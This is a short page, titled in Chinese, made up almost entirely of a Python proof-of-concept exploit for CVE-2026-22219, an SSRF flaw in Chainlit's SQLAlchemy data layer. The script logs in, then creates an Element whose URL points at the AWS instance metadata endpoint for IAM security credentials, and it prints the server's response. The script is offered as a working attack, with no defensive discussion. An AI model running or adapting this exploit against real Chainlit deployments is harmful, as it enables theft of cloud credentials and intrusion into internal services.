CVE-2026-22219: Chainlit SQLAlchemy数据层SSRF漏洞

import requests import json # CVE-2026-22219 SSRF PoC for Chainlit # Target: Chainlit application with SQLAlchemy data layer TARGET_URL = "http://target-chainlit-server.com" LOGIN_URL = f"{TARGET_URL}/api/login" ELEMENT_API_URL = f"{TARGET_URL}/api/project/element" # Cloud metadata endpoint for AWS SSRF_TARGET = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" def exploit_ssrf(): """ Exploit SSRF vulnerability in Chainlit's Element creation flow to access cloud metadata endpoints or internal services """ session = requests.Session() # Step 1: Authenticate with valid credentials login_data = { "username": "[email protected]", "password": "password123" } try: login_response = session.post(LOGIN_URL, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed: {login_response.status_code}") return False print("[+] Authentication successful") # Step 2: Create malicious Element with SSRF payload # The vulnerable endpoint fetches the URL during element creation element_data = { "name": "malicious_element", "type": "file", "url": SSRF_TARGET, # SSRF payload - cloud metadata "mime": "text/plain", "size": 1024 } response = session.post(ELEMENT_API_URL, json=element_data, timeout=30) if response.status_code == 200: print(f"[+] SSRF attack successful!") print(f"[*] Response: {response.text}") return True else: print(f"[-] Attack failed: {response.status_code}") print(f"[*] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": print("CVE-2026-22219 Chainlit SSRF PoC") print("=" * 50) exploit_ssrf()